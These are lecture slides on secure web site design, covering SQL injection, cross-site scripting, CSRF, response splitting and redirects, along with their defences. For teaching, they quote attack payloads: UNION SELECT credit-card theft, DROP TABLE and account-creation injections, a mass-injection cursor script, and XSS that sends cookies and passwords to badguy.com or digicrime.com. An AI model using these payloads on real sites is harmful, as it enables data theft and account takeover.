Secure Web Site Design

John Mitchell

Schematic web site architecture

Application Firewall (WAF) - Load Balancer - DB

IDS

Authorization

Netegrity (CA)

Oblix (Oracle)

Web application code

- Runs on web server or app server.
  - Takes input from web users (via web server)
  - Interacts with the database and 3rd parties.
  - Prepares results for users (via web server)
- Examples:
  - Shopping carts, home banking, bill pay, tax prep, ...
  - New code written for every web site.
- Written in:
  - C, PHP, Perl, Python, JSP, ASP, ...
  - Often written with little consideration for security

Examples:
- Shopping carts, home banking, bill pay, tax prep, ...

Written in:
- C, PHP, Perl, Python, JSP, ASP, ...
- Often written with little consideration for security

Common vulnerabilities

- SQL Injection
  - Browser sends malicious input to server
  - Bad input checking leads to malicious SQL query
- XSS - Cross-site scripting
  - Bad web site sends innocent victim a script that steals information from an honest web site
- CSRF - Cross-site request forgery
  - Bad web site sends request to good web site, using credentials of an innocent victim who "visits" site
- Other problems
  - HTTP response splitting, site redirects, ...

Dynamic Web Application

Browser

GET / HTTP/1.0

HTTP/1.1 200 OK

Web server

index.php

Database server

SQL Injection

with slides from Neil Daswani
PHP: Hypertext Preprocessor

- Server scripting language with C-like syntax
- Can intermingle static HTML and code
- Can embed variables in double-quote strings
- Form data in global arrays $_GET, $_POST, ...

SQL

- Widely used database query language
- Fetch a set of records
- Add data to the table
- Modify data
- Query syntax (mostly) independent of vendor

Example

- Sample PHP
  ```php
  $recipient = $_POST['recipient'];
  $sql = "SELECT PersonID FROM Person WHERE Username='$recipient';"
  $rs = $db->executeQuery($sql);
  ```

Problem

- What if ‘recipient’ is malicious string that changed the meaning of the query?

Basic picture: SQL Injection

CardSystems Attack

- Credit card payment processing company
- SQL injection attack in June 2005
- Put company out of business

The Attack

- 263,000 credit card #s stolen from database
- 43 million credit card #s exposed

April 2008 SQL Vulnerabilities

CardSystems

- Credit card payment processing company
- SQL injection attack in June 2005
- Put company out of business

The Attack

- 263,000 credit card #s stolen from database
- 43 million credit card #s exposed
Main steps in this attack

1. Use Google to find sites using a particular ASP style vulnerable to SQL injection
2. Use SQL injection on these sites to modify the page to include a link to a Chinese site nihaorr1.com
3. Don't visit this site yourself!
4. The site (nihaorr1.com) serves JavaScript that exploits vulnerabilities in IE, RealPlayer, QQ Instant Messenger
5. Steps (1) and (2) are automated in a tool that can be configured to inject whatever you like into vulnerable sites
6. There is some evidence that hackers may get paid for each visit to nihaorr1.com

Part of the SQL attack string

```
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar, ['+@C+']))+''''
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor;
```

---

SQL Injection Examples

Type 1 Attack Example

Web Browser (Client) → Enter Username & Password → Web Server

```
SELECT passwd
FROM USERS
WHERE uname = '$username'
```

Attacker will modify

Malicious input

Enter User Name: DROP TABLE USERS,
Enter Password: ********
Login

Malicious Query

Web Browser (Client) → Enter Username & Password → Web Server

```
SELECT passwd
FROM USERS
WHERE uname IS 'DROP TABLE USERS';
```

Eliminates all user accounts
What is SQL Injection?

- Input Validation Vulnerability
  - Untrusted user input in SQL query sent to back-end database without sanitizing the data
- Specific case of more general command injection
  - Inserting untrusted input into a query or command
- Why is this Bad?
  - Data can be misinterpreted as a command
  - Can alter the intended effect of command or query

Why is this Bad?

- Data can be misinterpreted as a command
- Can alter the intended effect of command or query

Inserting untrusted input into a query or command

SQL Injection Examples

Normal SQL Query

`SELECT pizza, toppings, quantity, order_day
FROM orders
WHERE userid=4123 AND order_month=10`  

Type 2 Attack

For order_month parameter, attacker could input

```
WHERE userid=4123 AND order_month=0 OR 1=1
```

Malicious Query

WHERE userid=4123 AND order_month=0 OR 1=1

A more damaging breach of user privacy:

- For order_month parameter, attacker could input
  - `0 AND 1=0`
  - `UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards`
- Attacker is able to combine the results of two queries
  - Empty table from first query with the sensitive credit card info of all users from second query

SQL Injection Examples

View pizza order history:
```
<form method="post" action="...">
  Month
  <select>
    <option name="month" value="1">Jan</option>
    ...<option name="month" value="12">Dec</option>
  </select>
  Year
  <input type="submit" name="submit" value=View>
</form>
```

SQL Injection Examples

Credit Card Info

```
WHERE userid=4123 AND order_month=0 OR 1=1
```

Attacker can post form that is not generated by this page.

A more damaging breach of user privacy:

- For order_month parameter, attacker could input
  - `0 AND 1=0`
  - `UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards`
- Attacker is able to combine the results of two queries
  - Empty table from first query with the sensitive credit card info of all users from second query

SQL Injection Examples

Credit Card Info

```
WHERE userid=4123 AND order_month=0 OR 1=1
```

Attacker can post form that is not generated by this page.

A more damaging breach of user privacy:

- For order_month parameter, attacker could input
  - `0 AND 1=0`
  - `UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards`
- Attacker is able to combine the results of two queries
  - Empty table from first query with the sensitive credit card info of all users from second query

SQL Injection Examples

Credit Card Info

```
WHERE userid=4123 AND order_month=0 OR 1=1
```

Attacker can post form that is not generated by this page.

A more damaging breach of user privacy:

- For order_month parameter, attacker could input
  - `0 AND 1=0`
  - `UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards`
- Attacker is able to combine the results of two queries
  - Empty table from first query with the sensitive credit card info of all users from second query
More Attacks

- Create new users:
  
  ```
  '; INSERT INTO USERS ('uname','passwd','salt') VALUES ('hacker','38a74f',3234);
  ```

- Password reset:
  
  ```
  ; UPDATE USERS SET email='hcker@root.org
  WHERE email='victim@yahoo.com
  ```

Second-Order SQL Injection

- **Second-Order SQL Injection**: attack where data stored in database is later used to conduct SQL injection

  - Example: this vulnerability could exist if string escaping is applied inconsistently

  - Solution: Treat ALL parameters as dangerous

  ```
  UPDATE USERS SET passwd='cracked'
  WHERE uname='admin'
  ```

  **Strings not escaped!**

Preventing SQL Injection

- Input validation
  
  - Filter
    - Apostrophes, semicolons, percent symbols, hyphens, underscores, ...
    - Any character that has special meanings
  
  - Check the data type (e.g., make sure it’s an integer)

- Whitelisting
  
  - Blacklisting chars doesn’t work
  - Forget to filter out some characters
  - Could prevent valid input (e.g., username O’Brien)

  - Allow only well-defined set of safe values
  - Set implicitly defined through regular expressions

Escaping Quotes

- For valid string inputs like username o’connor, use escape characters
  - Ex: escape(o’connor) = o''connor

  - Only works for string inputs

Prepared Statements

- Metacharacters (e.g. ‘) in queries provide distinction between data & control

- Most attacks: data interpreted as control / alters the semantics of a query/cmd

- Bind Variables: ? placeholders guaranteed to be data (not control)

- Prepared Statements allow creation of static queries with bind variables → preserves the structure of intended query

Prepared Statement: Example

```java
PreparedStatement ps =
    db.prepareStatement("SELECT pizza, toppings, quantity, order_day " +
    "FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParameter("month")));
ResultSet res = ps.executeQuery();
```
Parameterized SQL

- Build SQL queries by properly escaping args: '→ \\
- Example: Parameterized SQL: (ASP.NET 1.1)
- Ensures SQL arguments are properly escaped.

```csharp
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM UserTable WHERE
    username = @User AND
    password = @Pwd",
    dbConnection);

cmd.Parameters.Add("@User", Request["user"]);
cmd.Parameters.Add("@Pwd", Request["pwd"]);

cmd.ExecuteReader();
```

Mitigating Impacts

- Prevent Schema & Information Leaks
- Limit Privileges (Defense-in-Depth)
- Encrypt Sensitive Data stored in Database
- Harden DB Server and Host OS
- Apply Input Validation

Other command injection

- Example: PHP server-side code for sending email

```bash
$email = $_POST["email"];
$subject = $_POST["subject"];
system("mail $email –s $subject < /tmp/joinmynetwork")
```

- Attacker can post

```bash
http://yourdomain.com/mail.pl?email=hacker@hackerhome.net&subject=foo < /usr/passwd; ls
```

Cross Site Scripting (XSS)

**Basic scenario: reflected XSS attack**

1. Visit web site
2. Receive malicious page
3. Send valuable data
4. Click on link

**The setup**

- User input is echoed into HTML response.
- Example: search field
  - `search.php` responds with:
    ```html
    <HTML> <TITLE> Search Results </TITLE> <BODY>
    Results for "<?php echo $_GET["term"] ?>":
    ...
    </BODY> </HTML>
    ```
- Is this exploitable?
Bad input

Consider link: (properly URL encoded)


<script>window.open("http://badguy.com?cookie=" +
document.cookie)
</script>

What if user clicks on this link?

1. Browser goes to victim.com/search.php
2. Victim.com returns:
   <html>Results for <script>...
</script>
3. Browser executes script:
   Sends badguy.com cookie for victim.com

So what?

Why would user click on such a link?
- Phishing email in webmail client (e.g., Gmail).
- Link in doubleclick banner ad
  ... many many ways to fool user into clicking

What if badguy.com gets cookie for victim.com?
- Cookie can include session auth for victim.com
- Or other data intended only for victim.com
- Violates same origin policy

Much worse ...

Attacker can execute arbitrary scripts in browser
- Can manipulate any DOM component on victim.com
  - Control links on page
  - Control form fields (e.g., password field) on this page and linked pages.
    - Example: MySpace.com phishing attack injects password field that sends password to bad guy.
- Can infect other users: MySpace.com worm.

What is XSS?
An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application.

Methods for injecting malicious code:
- Reflected XSS ("type 1")
  - the attack script is reflected back to the user as part of a page from the victim site
- Stored XSS ("type 2")
  - the attacker stores the malicious code in a resource managed by the web application, such as a database
- Others, such as DOM-based attacks

Basic scenario: reflected XSS attack
2006 Example Vulnerability

- Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.
- Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.
- Victims were then redirected to a phishing site and prompted to enter sensitive financial data.


Adobe PDF viewer “feature” (version <= 7.9)

- PDF documents execute JavaScript code
  
  http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:code_here

  The code will be executed in the context of the domain where the PDF files is hosted.
  This could be used against PDF files hosted on the local filesystem.


Here's how the attack works:

- Attacker locates a PDF file hosted on website.com
- Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion
  
  http://website.com/path/to/file.pdf#s=javascript:alert("xss");

- Attacker entices a victim to click on the link
- If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes.

And if that doesn’t bother you...

- PDF files on the local filesystem:
  
  file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:alert("XSS");

  JavaScript Malware now runs in local context with the ability to read local files ...

Reflected XSS attack

- User Victim
- Attack Server
- Send bad stuff
- Reflect it back

Stored XSS

- User Victim
- Store bad stuff
- Server Victim
- Send bad stuff
- Reflect it back

And if that doesn’t bother you...

- PDF files on the local filesystem:
  
  file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:alert("XSS");

  JavaScript Malware now runs in local context with the ability to read local files ...
**MySpace.com**  
(Samy worm)

- Users can post HTML on their pages
  - MySpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
  - ... but can do JavaScript within CSS tags:
    - `<div style="background:url('javascript:alert(1)')">`
      - And can hide "javascript" as "java\nscript"

- With careful JavaScript hacking:
  - Samy worm infects anyone who visits an infected MySpace page ...
  - and adds Samy as a friend.
  - Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html

**Stored XSS using images**

Assume `pic.jpg` on web server contains HTML!

- request for `http://site.com/pic.jpg` results in:
  - HTTP/1.1 200 OK
  - Content-Type: image/jpeg
  - `<html>` fooled ya `<html>`

  - IE will render this as HTML ... (despite Content-Type)

- Consider photo sharing sites that support image uploads
- What if attacker uploads an "image" that is a script?

**Untrusted script in Facebook apps**

- User-supplied application
- User data

**DOM-based XSS (no server used)**

- Example page
  - `<html><title>Welcome!</title><script>
    var pos = document.URL.indexOf("name=") + 5;
    document.write(document.URL.substring(pos,document.URL.length));
  </script></html>`
- Works fine with this URL
  - http://www.example.com/welcome.html?name=Joe
- But what about this one?

Amit Klein ... XSS of the Third Kind

**Lots more information about attacks**

![XSS Exploits](image)

Strangely, this is not the cover of the book ...

**Defenses at server**

1. visit web site
2. receive malicious page
3. send valuable data
4. click on link
5. echo user input

Server Victim

User Victim

Attack Server
How to Protect Yourself (OWASP)

The best way to protect against XSS attacks:
- Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.
- Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content, and too many ways of encoding it to get around filters for such content.
- We strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.

Input data validation and filtering

Never trust client-side data
- Best: allow only what you expect
- Remove/encode special characters
  - Many encodings, special chars!
  - E.g., long (non-standard) UTF-8 encodings

Output filtering / encoding

- Remove / encode (X)HTML special chars
  - &lt; for <, &gt; for >, &quot; for “ ...
  - Allow only safe commands (e.g., no &lt;script&gt;...)
- Caution: “filter evasion” tricks
  - See XSS Cheat Sheet for filter evasion
  - E.g., if filter allows quoting (of &lt;script&gt; etc.), use malformed quoting: &lt;IMG ***&gt;&lt;SCRIPT&gt;alert(“XSS”)... 
  - Or: (long) UTF-8 encode, or...
- Caution: Scripts not only in &lt;script&gt;!

An Illustrative example

Why is this vulnerable to XSS?

Analyse application

<table>
<thead>
<tr>
<th>Use Case</th>
<th>Scenario Inputs</th>
<th>Scenario Outputs</th>
<th>Output Contains Untrusted Input?</th>
</tr>
</thead>
<tbody>
<tr>
<td>User adds bookmark</td>
<td>User name, Description, Bookmark</td>
<td>Yes</td>
<td>Bookmark written to file</td>
</tr>
<tr>
<td>Application thanks user</td>
<td>User name</td>
<td>No</td>
<td>Thank you message page</td>
</tr>
<tr>
<td>User resets bookmark file</td>
<td>Button click event</td>
<td>Yes</td>
<td>None</td>
</tr>
</tbody>
</table>
Select input encoding method

<table>
<thead>
<tr>
<th>Encoding Method</th>
<th>Should Be Used If …</th>
<th>Example/Pattern</th>
</tr>
</thead>
<tbody>
<tr>
<td>HtmlEncode</td>
<td>Untrusted input is used in HTML output except when assigning to an HTML attribute.</td>
<td><code>&lt;a href=&quot;http://www.contoso.com&quot;&gt;Click Here&lt;/a&gt;</code></td>
</tr>
<tr>
<td>HtmlAttributeEncode</td>
<td>Untrusted input is used as an HTML attribute.</td>
<td><code>&lt;hr noshade size=&quot;Untrusted input&quot;&gt;</code></td>
</tr>
<tr>
<td>JavaScriptEncode</td>
<td>Untrusted input is used within a JavaScript context.</td>
<td><code>&lt;script type=&quot;text&quot;&gt;&lt;span&gt;Untrusted input&lt;/span&gt;</code></td>
</tr>
<tr>
<td>UrlEncode</td>
<td>Untrusted input is used in a URL (such as a value in a querystring).</td>
<td><code>&lt;a href=&quot;http://search.msn.com/results.aspx?q=Untrusted-input&quot;&gt;Click Here!&lt;/a&gt;</code></td>
</tr>
<tr>
<td>XmlEncode</td>
<td>Untrusted input is used in XML output, except when assigning to an XML attribute.</td>
<td><code>&lt;xml_tag&gt;Untrusted input&lt;/xml_tag&gt;</code></td>
</tr>
<tr>
<td>XmlAttributeEncode</td>
<td>Untrusted input is used as an XML attribute.</td>
<td><code>&lt;xml_tag attribute=&quot;Untrusted input&quot;&gt;Some Text&lt;/xml_tag&gt;</code></td>
</tr>
</tbody>
</table>

Analyze application

<table>
<thead>
<tr>
<th>Use Case Scenario</th>
<th>Scenario Inputs</th>
<th>Input Trusted?</th>
<th>Scenario Outputs</th>
<th>Output Contains Untrusted Input?</th>
<th>Requires Encoding</th>
<th>Encoding Method to Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>User adds bookmark</td>
<td>User name, Description, Bookmark</td>
<td>No</td>
<td>Bookmark written to file</td>
<td>Yes</td>
<td>No</td>
<td>HtmlEncode</td>
</tr>
<tr>
<td>Application thanks user</td>
<td>User name</td>
<td>No</td>
<td>Thank you message page</td>
<td>Yes</td>
<td>Yes</td>
<td>HtmlEncode</td>
</tr>
<tr>
<td>User resets bookmark file</td>
<td>Button click event</td>
<td>Yes</td>
<td>None</td>
<td>N/A</td>
<td>N/A</td>
<td></td>
</tr>
</tbody>
</table>

Select output encoding method

<table>
<thead>
<tr>
<th>Use Case Scenario</th>
<th>Scenario Inputs</th>
<th>Input Trusted?</th>
<th>Scenario Outputs</th>
<th>Output Contains Untrusted Input?</th>
<th>Requires Encoding</th>
<th>Encoding Method to Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>User views saved bookmarks</td>
<td>Bookmark file data</td>
<td>No</td>
<td>Contributor, description, and link displayed in browser</td>
<td>Yes</td>
<td>Yes</td>
<td>HtmlEncode</td>
</tr>
<tr>
<td></td>
<td>Page validation.</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Common encoding functions

- **PHP**: `htmlspecialchars(string)`
  - `& → &amp;`  
  - `" → &quot;`  
  - `' → &#039;`  
  - `< → &lt;`  
  - `> → &gt;`
- `htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);`
- Outputs:
  - `&lt;a href="&amp;039;test&amp;#039;;">Test</a>`
- **ASP.NET 1.1**:
  - `Server.HtmlEncode(string)`
    - Similar to PHP `htmlspecialchars`

See [http://ru3.php.net/htmlspecialchars](http://ru3.php.net/htmlspecialchars)

ASP.NET output filtering

- `validateRequest: (on by default)`
  - Crashes page if finds `<script>` in POST data.
  - Looks for hardcoded list of patterns
  - Can be disabled: `<%@ Page validateRequest=false %>`
Caution: Scripts not only in <script>!

- JavaScript as scheme in URI
- <img src="javascript:alert(document.cookie);">  
- JavaScript On(event) attributes (handlers)
- OnSubmit, OnError, OnLoad, ...

Typical use:
- <img src="none" OnError="alert(document.cookie)">
- <iframe src=`https://bank.com/login` onload=`steal()`>
- <form> action="logon.jsp" method="post"
onsubmit="hackImg=new Image;hackImg.src='http://www.digicrime.com/'+document.forms(1).login.value+':'+
document.forms(1).password.value;" 

Problems with filters

- Suppose a filter removes <script
- Good case
  <script src="..." -> src="..."
- But then
  <script src="..." > <script src="..."

- Problems with filters
- Previous filter works on some input
  Try it at http://kallahar.com/smallprojects/php_xss_filter_function.php

- But consider this
  java	script
  Blocked;   & #09 is horizontal tab

Instead of blocking this input, it is transformed to an attack
Need to loop and reapply filter to output until nothing found

Advanced anti-XSS tools

- Dynamic Data Tainting
  Perl taint mode
- Static Analysis
  Analyze Java, PHP to determine possible flow of untrusted input

But watch out for tricky cases

- Previous filter works on some input
  Try it at http://kallahar.com/smallprojects/php_xss_filter_function.php

- But consider this
  java	script    Blocked;   & #09 is horizontal tab
  java	script

Instead of blocking this input, it is transformed to an attack
Need to loop and reapply filter to output until nothing found

Client-side XSS defenses

- Dynamic Data Tainting
  Perl taint mode
- Static Analysis
  Analyze Java, PHP to determine possible flow of untrusted input

- Proxy-based: analyze the HTTP traffic exchanged between user's web browser and the target web server by scanning for special HTML characters and encoding them before executing the page on the user's web browser
- Application-level firewall: analyze browsed HTML pages for hyperlinks that might lead to leakage of sensitive information and stop bad requests using a set of connection rules.
- Auditing system: monitor execution of JavaScript code and compare the operations against high-level policies to detect malicious behavior
IE 8 XSS Filter

What can you do at the client?

1. Click on link
2. Visit server
3. Receive malicious page
4. Visit server
5. Send valuable data


Cross Site Request Forgery

Recall: session using cookies

Basic picture

Cross Site Request Forgery (XSRF)

Points to remember

- Key concepts
  - Whitelisting vs. blacklisting
  - Output encoding vs. input sanitation
  - Sanitizing before or after storing in database
  - Dynamic versus static defense techniques
- Good ideas
  - Static analysis (e.g. ASP.NET has support for this)
  - Taint tracking
  - Framework support
  - Continuous testing
- Bad ideas
  - Blacklisting
  - Manual sanitization

Example:

- Session cookie remains in browser state
- Then user visits another site containing:

  ```html
  <form name=F action=http://bank.com/BillPay.php>
  <input name=recipient value=badguy> ...
  <script> document.F.submit(); </script>
  ```

  Browser sends user auth cookie with request
  - Transaction will be fulfilled

Problem:

- cookie auth is insufficient when side effects can occur
Example: Home Router

1. Configure router
2. Visit site
3. Receive malicious page

Home router

User

Bad web site

Attack on Home Router

Fact:
- 50% of home users use a broadband router with a default or no password

Drive-by Pharming attack:
- User visits malicious site
  - JavaScript at site scans home network looking for broadband router:
    - SOP allows "send only" messages
    - Detect success using onerror:
      - `<img src='192.168.0.1 onError='do()'>`
  - Once found, login to router and change DNS server

Problem: "send-only" access is sufficient to reprogram router

Login CSRF

CSRF Defenses

- Secret token
  - Place nonce in page/form from honest site
  - Check nonce in POST
    - Confirm part of ongoing session with server
  - Token in POST can be HMAC of session ID in cookie

- Check referer (sic) header
  - Referer header is provided by browser, not script
  - Unfortunately, often filtered for privacy reasons

- Use custom headers via XMLHttpRequest
  - This requires global change in server apps

Referer header filtering

Cross-site HTTP

Same-site HTTP

Cross-site TLS

Same-site TLS

0 2 4 6 8 10 12

Ad Network A

Ad Network B
Referer header filtering

CSRF Recommendations

- Login CSRF
  - Strict Referer validation
- Login forms typically submit over HTTPS, not blocked
- HTTPS sites, such as banking sites
  - Use strict Referer validation to protect against CSRF
- Other
  - Use Ruby-on-Rails or other framework that implements secret token method correctly
- Future
  - Alternative to Referer with fewer privacy problems
  - Send only on POST, send only necessary data

More server-side problems

HTTP Response Splitting: The setup

- User input echoed in HTTP header.
- Example: Language redirect page (JSP)
  ```jsp
  <% response.redirect("/by_lang.jsp?lang=" + request.getParameter("lang") ) %>
  ```
- Browser sends `http://.../by_lang.jsp ? lang=french`
- Server HTTP Response:
  ```
  HTTP/1.1 302 (redirect)
  Date: ...
  Location: /by_lang.jsp ? lang=french
  Content-length: 0
  HTTP/1.1 200 OK
  Content-length: 217
  ```
- Is this exploitable?

Bad input

Suppose browser sends:
```
http://.../by_lang.jsp ? lang=french
```
```
Content-length: 0
HTTP/1.1 200 OK
Spoofed page (URL encoded)
```

Bad input

HTTP response from server looks like:
```
HTTP/1.1 302 (redirect)
Date: ...
Location: /by_lang.jsp ? lang=french
Content-length: 0
HTTP/1.1 200 OK
Content-length: 217
Spoofed page
```
So what?

What just happened:
- Attacker submitted bad URL to victim.com
- URL contained spoofed page in it
- Got back spoofed page

So what?
- Cache servers along path now store spoof of victim.com
- Will fool any user using same cache server

Defense: don’t do that (use URL encoding...)

Redirects

EZShopper.com shopping cart: (10/2004):
- http://.../cgi-bin/loadpage.cgi?page=url
- Redirects browser to url
- Redirects are common on many sites
  - Used to track when user clicks on external link
  - EZShopper uses redirect to add HTTP headers
- Problem: phishing
  - Link to victim.com puts user at phisher.com
  ⇒ Local redirects should ensure target URL is local

Sample phishing email

How does this lead to spoof page?

Link displayed
- https://www.start.earthlink.net/track?billing.asp
Actual link in html email
- source: https://start.earthlink.net/track?id=101fe8439
  8a866372f999c83d8973e77438a93847183bca43d7
  ad47e99219a907871c773400b83288987762c6url=
  http://202.69.39.30/snkee/billing.htm?session_id=84
  95...
- Website resolved to
  95...

Web Application Firewalls

Help prevent some attacks we discuss today:
- Cross site scripting
- SQL Injection
- Form field tampering
- Cookie poisoning

Sample products:
- Imperva
- Kavado Interdo
- F5 TrafficShield
- Citrix NetScaler
- CheckPoint Web Intel
**Code checking**

- Blackbox security testing services:
  - Whitehatsec.com

- Automated blackbox testing tools:
  - Cenzic, Hailstorm
  - Spidynamic, WebInspect
  - eEye, Retina

- Web application hardening tools:
  - WebSSARI [WWW'04] (based on information flow)
  - Nguyen-Tuong [IFIP'05] (based on tainting)

**Summary**

- SQL Injection
  - Bad input checking allows malicious SQL query
  - Known defenses address problem effectively

- XSS - Cross-site scripting
  - Problem stems from echoing untrusted input
  - Difficult to prevent; requires care, testing, tools, ...

- CSRF - Cross-site request forgery
  - Forged request leveraging ongoing session
  - Can be prevented (if XSS problems fixed)

- Other server vulnerabilities
  - Increasing knowledge embedded in frameworks, tools, application development recommendations